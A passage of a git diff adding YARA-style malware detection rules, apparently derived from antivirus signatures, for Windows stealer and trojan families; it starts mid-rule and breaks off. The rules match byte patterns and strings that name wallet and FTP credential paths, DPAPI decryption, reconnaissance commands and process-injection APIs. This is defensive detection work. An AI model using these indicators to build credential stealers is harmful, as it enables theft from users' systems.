0b 00 00 00 e9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_LMA_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_LMA_MTB.yar new file mode 100644 index 0000000000..1cd9be3066 --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_LMA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Stealer_LMA_MTB{ + meta: + description = "Trojan:Win32/Stealer.LMA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 02 00 00 " + + strings : + $a_01_0 = {0f b6 94 08 fc b3 d8 c3 31 ca 89 55 f0 8b 55 f0 80 c2 94 88 94 08 fc b3 d8 c3 41 81 f9 18 4c 27 3c } //20 + $a_01_1 = {09 d6 89 f2 31 da f7 d6 21 de 8d 3c 1a 29 f7 f7 d2 21 fa 8d b1 00 80 16 3d 89 df f7 d7 09 f7 89 c6 09 de 21 f7 01 df 89 d6 31 fe f7 d2 21 fa 8d b8 00 81 e9 c2 21 df 8b 5d ec 01 d2 f7 d2 01 f2 09 fa f7 d2 89 55 f0 8b 55 f0 80 c2 64 } //20 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*20) >=40 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_LMB_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_LMB_MTB.yar new file mode 100644 index 0000000000..38d915125d --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_LMB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Stealer_LMB_MTB{ + meta: + description = "Trojan:Win32/Stealer.LMB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2d 00 03 00 00 " + + strings : + $a_01_0 = {89 c2 0f b6 44 05 00 89 fe 21 c6 31 c7 8d 04 77 01 c1 0f b6 74 15 01 01 c6 01 f1 0f b6 44 15 02 01 f0 01 c1 0f b6 74 15 03 89 c7 21 f7 31 f0 8d 04 78 01 c1 0f b6 74 15 04 01 c6 01 f1 0f b6 44 15 05 01 f0 01 c1 0f b6 74 15 06 01 c6 01 f1 0f b6 7c 15 07 01 f7 01 f9 } //20 + $a_01_1 = {89 ca 21 c2 01 c8 29 d0 89 d1 01 c9 f7 d1 01 d1 31 c1 f7 d1 21 c1 89 0c 24 8b 04 24 05 24 d1 ee cb 0f b6 c0 83 c4 0c } //20 + $a_01_2 = {0f b6 3c 31 89 c3 c1 eb 04 31 f8 83 e0 0f 33 1c 85 fc e6 44 00 89 d8 c1 e8 04 89 dd f7 d5 83 cd 0f 01 eb 43 c1 ef 04 31 df 33 04 bd fc e6 44 00 46 39 f2 } //5 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*20+(#a_01_2 & 1)*5) >=45 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_NJD_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_NJD_MTB.yar new file mode 100644 index 0000000000..18eeaa7a33 --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_NJD_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Stealer_NJD_MTB{ + meta: + description = "Trojan:Win32/Stealer.NJD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_03_0 = {2b c8 83 e1 0f 03 c1 1b c9 0b c1 59 e9 ?? ?? ?? ?? 51 8d 4c 24 08 2b c8 83 e1 07 03 c1 1b c9 0b c1 } //2 + $a_01_1 = {49 f1 60 68 21 00 9d c1 95 3f 90 42 fb a7 65 de eb 9b b2 32 fa 19 32 91 db 06 cc d1 6e 6a 19 48 } //1 + $a_01_2 = {f0 e6 98 0f 4f 4b b7 95 85 05 f8 d2 ec 54 fd 59 5f bc 6e d7 76 91 55 59 df 06 1d 9c 5b e0 39 07 } //1 + $a_01_3 = {99 4c 95 a1 ce 78 0a 5c 91 39 69 79 c6 c7 f0 ee ce a2 f8 f5 39 da f0 09 f7 64 06 37 54 cb 92 60 } //1 + $a_01_4 = {74 d7 de 71 a6 40 82 21 a7 97 12 aa 64 69 9d 50 67 32 3f a9 cd e9 65 ec cb 95 e6 30 30 33 f2 45 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealga/Trojan_Win32_Stealga_DA_MTB.yar b/Trojan/Win32/Stealga/Trojan_Win32_Stealga_DA_MTB.yar new file mode 100644 index 0000000000..1f5281ce4f --- /dev/null +++ b/Trojan/Win32/Stealga/Trojan_Win32_Stealga_DA_MTB.yar @@ -0,0 +1,32 @@ + +rule Trojan_Win32_Stealga_DA_MTB{ + meta: + description = "Trojan:Win32/Stealga.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 00 " + + strings : + $a_81_0 = {5c 72 61 74 5c 63 6c 69 65 6e 74 5c 73 74 65 61 6c 65 72 } //10 \rat\client\stealer + $a_81_1 = {41 56 49 42 72 6f 77 73 65 72 42 61 73 65 40 73 74 65 61 6c 65 72 } //1 AVIBrowserBase@stealer + $a_81_2 = {41 56 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 40 73 74 65 61 6c 65 72 } //1 AVChromeBrowser@stealer + $a_81_3 = {41 56 45 64 67 65 42 72 6f 77 73 65 72 40 73 74 65 61 6c 65 72 } //1 AVEdgeBrowser@stealer + $a_81_4 = {41 56 46 69 72 65 66 6f 78 42 72 6f 77 73 65 72 40 73 74 65 61 6c 65 72 } //1 AVFirefoxBrowser@stealer + condition: + ((#a_81_0 & 1)*10+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=14 + +} +rule Trojan_Win32_Stealga_DA_MTB_2{ + meta: + description = "Trojan:Win32/Stealga.DA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_00_0 = {53 00 79 00 73 00 74 00 65 00 6d 00 20 00 49 00 6e 00 66 00 6f 00 } //1 System Info + $a_00_1 = {77 00 6d 00 69 00 63 00 20 00 6c 00 6f 00 67 00 69 00 63 00 61 00 6c 00 64 00 69 00 73 00 6b 00 } //1 wmic logicaldisk + $a_00_2 = {41 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 20 00 55 00 73 00 65 00 72 00 20 00 49 00 6e 00 66 00 6f 00 } //1 Administrator User Info + $a_00_3 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 20 00 61 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 } //1 net user administrator + $a_00_4 = {74 00 61 00 73 00 6b 00 6c 00 69 00 73 00 74 00 20 00 2f 00 73 00 76 00 63 00 } //1 tasklist /svc + $a_00_5 = {69 00 70 00 63 00 6f 00 6e 00 66 00 69 00 67 00 2f 00 61 00 6c 00 6c 00 } //1 ipconfig/all + $a_00_6 = {6e 00 65 00 74 00 73 00 74 00 61 00 74 00 20 00 2d 00 61 00 6e 00 6f 00 } //1 netstat -ano + $a_00_7 = {6e 00 65 00 74 00 73 00 68 00 20 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 73 00 68 00 6f 00 77 00 } //1 netsh firewall show + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealz/Trojan_Win32_Stealz_ZAT_MTB.yar b/Trojan/Win32/Stealz/Trojan_Win32_Stealz_ZAT_MTB.yar new file mode 100644 index 0000000000..060506caf7 --- /dev/null +++ b/Trojan/Win32/Stealz/Trojan_Win32_Stealz_ZAT_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Stealz_ZAT_MTB{ + meta: + description = "Trojan:Win32/Stealz.ZAT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_00_0 = {64 00 6f 00 20 00 63 00 75 00 72 00 6c 00 20 00 2d 00 58 00 20 00 50 00 4f 00 53 00 54 00 } //1 do curl -X POST + $a_00_1 = {62 00 69 00 74 00 63 00 6f 00 69 00 6e 00 } //1 bitcoin + $a_00_2 = {63 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 } //1 credential + $a_00_3 = {62 00 61 00 63 00 6b 00 75 00 70 00 } //1 backup + $a_00_4 = {73 00 63 00 72 00 65 00 65 00 6e 00 73 00 68 00 6f 00 74 00 } //1 screenshot + $a_00_5 = {72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 } //1 recovery + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealz/Trojan_Win32_Stealz_ZCT_MTB.yar b/Trojan/Win32/Stealz/Trojan_Win32_Stealz_ZCT_MTB.yar new file mode 100644 index 0000000000..f9c1bcc6d7 --- /dev/null +++ b/Trojan/Win32/Stealz/Trojan_Win32_Stealz_ZCT_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Stealz_ZCT_MTB{ + meta: + description = "Trojan:Win32/Stealz.ZCT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {41 00 64 00 64 00 2d 00 54 00 79 00 70 00 65 00 20 00 2d 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 4e 00 61 00 6d 00 65 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 } //1 Add-Type -AssemblyName System.Security + $a_00_1 = {3a 00 3a 00 55 00 6e 00 70 00 72 00 6f 00 74 00 65 00 63 00 74 00 28 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //1 ::Unprotect([System.Convert]::FromBase64String( + $a_00_2 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2e 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00 79 00 2e 00 44 00 61 00 74 00 61 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 53 00 63 00 6f 00 70 00 65 00 5d 00 3a 00 3a 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 55 00 73 00 65 00 72 00 29 00 } //1 [System.Security.Cryptography.DataProtectionScope]::CurrentUser) + $a_00_3 = {24 00 6e 00 75 00 6c 00 6c 00 } //1 $null + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stelega/Trojan_Win32_Stelega_EANX_MTB.yar b/Trojan/Win32/Stelega/Trojan_Win32_Stelega_EANX_MTB.yar new file mode 100644 index 0000000000..459e35a0af --- /dev/null +++ b/Trojan/Win32/Stelega/Trojan_Win32_Stelega_EANX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stelega_EANX_MTB{ + meta: + description = "Trojan:Win32/Stelega.EANX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {b1 09 f6 d0 32 c2 2a c8 80 f1 c6 2a ca d0 c9 80 f1 8e f6 d9 80 f1 a8 88 8a ?? ?? ?? ?? 42 81 fa 05 50 00 00 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/StellarStealer/Trojan_Win32_StellarStealer_GZK_MTB.yar b/Trojan/Win32/StellarStealer/Trojan_Win32_StellarStealer_GZK_MTB.yar new file mode 100644 index 0000000000..ca7c142cf2 --- /dev/null +++ b/Trojan/Win32/StellarStealer/Trojan_Win32_StellarStealer_GZK_MTB.yar @@ -0,0 +1,20 @@ + +rule Trojan_Win32_StellarStealer_GZK_MTB{ + meta: + description = "Trojan:Win32/StellarStealer.GZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 00 " + + strings : + $a_01_0 = {45 74 68 65 72 65 75 6d 5c 6b 65 79 73 74 6f 72 65 } //1 Ethereum\keystore + $a_01_1 = {44 61 74 61 5c 41 72 6d 6f 72 79 } //1 Data\Armory + $a_01_2 = {5c 46 69 6c 65 5a 69 6c 6c 61 5c 72 65 63 65 6e 74 73 65 72 76 65 72 73 2e 78 6d 6c } //1 \FileZilla\recentservers.xml + $a_01_3 = {5c 77 61 6c 6c 65 74 2e 64 61 74 } //1 \wallet.dat + $a_01_4 = {57 61 6c 6c 65 74 73 5c 41 74 6f 6d 69 63 5c 4c 6f 63 61 6c 20 53 74 6f 72 61 67 65 5c 6c 65 76 65 6c 64 62 } //1 Wallets\Atomic\Local Storage\leveldb + $a_01_5 = {57 61 6c 6c 65 74 73 5c 45 74 68 65 72 65 75 6d } //1 Wallets\Ethereum + $a_01_6 = {5c 53 4f 46 54 57 41 52 45 5c 42 69 74 63 6f 69 6e 5c 42 69 74 63 6f 69 6e 2d 51 74 } //1 \SOFTWARE\Bitcoin\Bitcoin-Qt + $a_01_7 = {57 61 6c 6c 65 74 73 5c 5a 63 61 73 68 } //1 Wallets\Zcash + $a_01_8 = {5c 54 45 4d 50 5c 42 4f 46 55 50 4d 4a 57 55 53 46 56 53 4e 49 42 44 4a 45 45 } //1 \TEMP\BOFUPMJWUSFVSNIBDJEE + $a_01_9 = {57 61 6c 6c 65 74 73 5c 42 79 74 65 63 6f 69 6e } //1 Wallets\Bytecoin + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Storm/Trojan_Win32_Storm_LM_MTB.yar b/Trojan/Win32/Storm/Trojan_Win32_Storm_LM_MTB.yar new file mode 100644 index 0000000000..76f7faf23f --- /dev/null +++ b/Trojan/Win32/Storm/Trojan_Win32_Storm_LM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Storm_LM_MTB{ + meta: + description = "Trojan:Win32/Storm.LM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 03 00 00 " + + strings : + $a_03_0 = {83 c9 ff f2 ae f7 d1 2b f9 57 5e 52 5f 51 5a 83 c9 ff f2 ae 52 59 4f c1 e9 02 f3 a5 52 59 83 e1 03 f3 a4 51 8b cc 89 64 24 1c 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 6a 65 51 8d 84 24 40 01 00 00 8b cc 89 64 24 24 50 } //20 + $a_01_1 = {83 c9 ff 29 c0 f2 ae f7 d1 2b f9 51 58 57 5e 52 5f 8d 54 24 10 c1 e9 02 f3 a5 50 59 29 c0 83 e1 03 f3 a4 } //20 + $a_00_2 = {53 54 4f 52 4d 53 45 52 56 45 52 2e 44 4c 4c } //1 STORMSERVER.DLL + condition: + ((#a_03_0 & 1)*20+(#a_01_1 & 1)*20+(#a_00_2 & 1)*1) >=41 + +} \ No newline at end of file diff --git a/Trojan/Win32/StormKitty/Trojan_Win32_StormKitty_DA_MTB.yar b/Trojan/Win32/StormKitty/Trojan_Win32_StormKitty_DA_MTB.yar new file mode 100644 index 0000000000..60e55f9d9c --- /dev/null +++ b/Trojan/Win32/StormKitty/Trojan_Win32_StormKitty_DA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_StormKitty_DA_MTB{ + meta: + description = "Trojan:Win32/StormKitty.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {89 14 24 89 44 24 04 89 4c 24 08 e8 ?? ?? ?? ?? 8b 44 24 0c 8b 4c 24 10 89 04 24 89 4c 24 04 e8 ?? ?? ?? ?? 8b 44 24 08 8b 4c 24 14 8b 54 24 0c 8b 5c 24 10 8b 6c 24 18 89 84 24 9c 00 00 00 89 94 24 a0 00 00 00 89 9c 24 a4 00 00 00 89 8c 24 a8 00 00 00 89 ac 24 ac 00 00 00 83 c4 7c c3 } //3 + $a_01_1 = {0f b6 34 2b 31 d6 87 de 88 1c 28 87 de 45 } //2 + $a_01_2 = {6d 61 69 6e 2e 64 6f 75 62 6c 65 44 65 63 72 79 70 74 } //2 main.doubleDecrypt + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusGetUser/Trojan_Win32_SusGetUser_MK.yar b/Trojan/Win32/SusGetUser/Trojan_Win32_SusGetUser_MK.yar new file mode 100644 index 0000000000..bf138133e9 --- /dev/null +++ b/Trojan/Win32/SusGetUser/Trojan_Win32_SusGetUser_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_SusGetUser_MK{ + meta: + description = "Trojan:Win32/SusGetUser.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net user & exit + $a_00_3 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 32 00 64 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff362d + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_SusGetUser_MK_2{ + meta: + description = "Trojan:Win32/SusGetUser.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net user & exit + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusGetUsers/Trojan_Win32_SusGetUsers_MK.yar b/Trojan/Win32/SusGetUsers/Trojan_Win32_SusGetUsers_MK.yar new file mode 100644 index 0000000000..f2e88aa049 --- /dev/null +++ b/Trojan/Win32/SusGetUsers/Trojan_Win32_SusGetUsers_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_SusGetUsers_MK{ + meta: + description = "Trojan:Win32/SusGetUsers.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 73 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net users & exit + $a_00_3 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 32 00 63 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff362c + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_SusGetUsers_MK_2{ + meta: + description = "Trojan:Win32/SusGetUsers.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 73 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 net users & exit + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusImageFileOptions/Trojan_Win32_SusImageFileOptions_MK.yar b/Trojan/Win32/SusImageFileOptions/Trojan_Win32_SusImageFileOptions_MK.yar new file mode 100644 index 0000000000..b9a5c18739 --- /dev/null +++ b/Trojan/Win32/SusImageFileOptions/Trojan_Win32_SusImageFileOptions_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_SusImageFileOptions_MK{ + meta: + description = "Trojan:Win32/SusImageFileOptions.MK,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {73 6f 66 74 77 61 72 65 5c 6d 69 63 72 6f 73 6f 66 74 5c 77 69 6e 64 6f 77 73 20 6e 74 5c 63 75 72 72 65 6e 74 76 65 72 73 69 6f 6e 5c 69 6d 61 67 65 20 66 69 6c 65 20 65 78 65 63 75 74 69 6f 6e 20 6f 70 74 69 6f 6e 73 5c 6d 61 67 6e 69 66 79 2e 65 78 65 00 } //1 + $a_01_1 = {5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 00 } //1 + $a_01_2 = {73 62 73 69 6d 75 6c 61 74 69 6f 6e 5f 73 62 5f 90 02 ff 5f 62 73 5f 90 02 ff 5f 67 72 65 65 6e 2e 65 78 65 } //1 + $a_00_3 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 7a 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 32 00 66 00 } //-1 aa06e39e-7876-4ba3-beez-42bd80ff362f + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_SusImageFileOptions_MK_2{ + meta: + description = "Trojan:Win32/SusImageFileOptions.MK,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {73 6f 66 74 77 61 72 65 5c 6d 69 63 72 6f 73 6f 66 74 5c 77 69 6e 64 6f 77 73 20 6e 74 5c 63 75 72 72 65 6e 74 76 65 72 73 69 6f 6e 5c 69 6d 61 67 65 20 66 69 6c 65 20 65 78 65 63 75 74 69 6f 6e 20 6f 70 74 69 6f 6e 73 5c 6d 61 67 6e 69 66 79 2e 65 78 65 00 } //1 + $a_01_1 = {5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 63 6d 64 2e 65 78 65 00 } //1 + $a_01_2 = {73 62 73 69 6d 75 6c 61 74 69 6f 6e 5f 73 62 5f 90 02 ff 5f 62 73 5f 90 02 ff 5f 67 72 65 65 6e 2e 65 78 65 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusKernelCallBackTable/Trojan_Win32_SusKernelCallBackTable_AM.yar b/Trojan/Win32/SusKernelCallBackTable/Trojan_Win32_SusKernelCallBackTable_AM.yar new file mode 100644 index 0000000000..78be349070 --- /dev/null +++ b/Trojan/Win32/SusKernelCallBackTable/Trojan_Win32_SusKernelCallBackTable_AM.yar @@ -0,0 +1,28 @@ + +rule Trojan_Win32_SusKernelCallBackTable_AM{ + meta: + description = "Trojan:Win32/SusKernelCallBackTable.AM,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_01_0 = {4b 65 72 6e 65 6c 43 61 6c 6c 62 61 63 6b 54 61 62 6c 65 00 } //1 敋湲汥慃汬慢正慔汢e + $a_01_1 = {53 65 6e 64 4d 65 73 73 61 67 65 00 } //1 敓摮敍獳条e + $a_01_2 = {66 6e 43 4f 50 59 44 41 54 41 00 } //1 + $a_01_3 = {6d 73 69 6e 66 6f 33 32 2e 65 78 65 00 } //1 + $a_00_4 = {61 00 61 00 30 00 36 00 65 00 33 00 36 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 32 00 6d 00 } //-1 aa06e36e-7876-4ba3-beee-42bd80ff362m + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_00_4 & 1)*-1) >=4 + +} +rule Trojan_Win32_SusKernelCallBackTable_AM_2{ + meta: + description = "Trojan:Win32/SusKernelCallBackTable.AM,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {4b 65 72 6e 65 6c 43 61 6c 6c 62 61 63 6b 54 61 62 6c 65 00 } //1 敋湲汥慃汬慢正慔汢e + $a_01_1 = {53 65 6e 64 4d 65 73 73 61 67 65 00 } //1 敓摮敍獳条e + $a_01_2 = {66 6e 43 4f 50 59 44 41 54 41 00 } //1 + $a_01_3 = {6d 73 69 6e 66 6f 33 32 2e 65 78 65 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/SusKernelCallBackTable/Trojan_Win32_SusKernelCallBackTable_MK.yar b/Trojan/Win32/SusKernelCallBackTable/Trojan_Win32_SusKernelCallBackTable_MK.yar new file mode 100644 index 0000000000..4460abdfea --- /dev/null +++ b/Trojan/Win32/SusKernelCallBackTable/Trojan_Win32_SusKernelCallBackTable_MK.yar @@ -0,0 +1,38 @@ + +rule Trojan_Win32_SusKernelCallBackTable_MK{ + meta: + description = "Trojan:Win32/SusKernelCallBackTable.MK,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 00 " + + strings : + $a_01_0 = {4e 74 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 00 } //1 瑎畑牥䥹普牯慭楴湯牐捯獥s + $a_01_1 = {4b 65 72 6e 65 6c 43 61 6c 6c 62 61 63 6b 54 61 62 6c 65 00 } //1 敋湲汥慃汬慢正慔汢e + $a_01_2 = {47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 } //1 + $a_01_3 = {56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 00 } //1 + $a_01_4 = {57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 } //1 + $a_01_5 = {53 65 6e 64 4d 65 73 73 61 67 65 00 } //1 敓摮敍獳条e + $a_01_6 = {52 65 61 64 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 } //1 敒摡牐捯獥䵳浥牯y + $a_01_7 = {5f 5f 66 6e 43 4f 50 59 44 41 54 41 00 } //1 + $a_01_8 = {57 4d 5f 43 4f 50 59 44 41 54 41 00 } //1 䵗䍟偏䑙呁A + $a_00_9 = {61 00 61 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 32 00 65 00 } //-1 aa06e39e-7876-4ba3-beee-42bd80ff362e + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_00_9 & 1)*-1) >=9 + +} +rule Trojan_Win32_SusKernelCallBackTable_MK_2{ + meta: + description = "Trojan:Win32/SusKernelCallBackTable.MK,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 00 " + + strings : + $a_01_0 = {4e 74 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 00 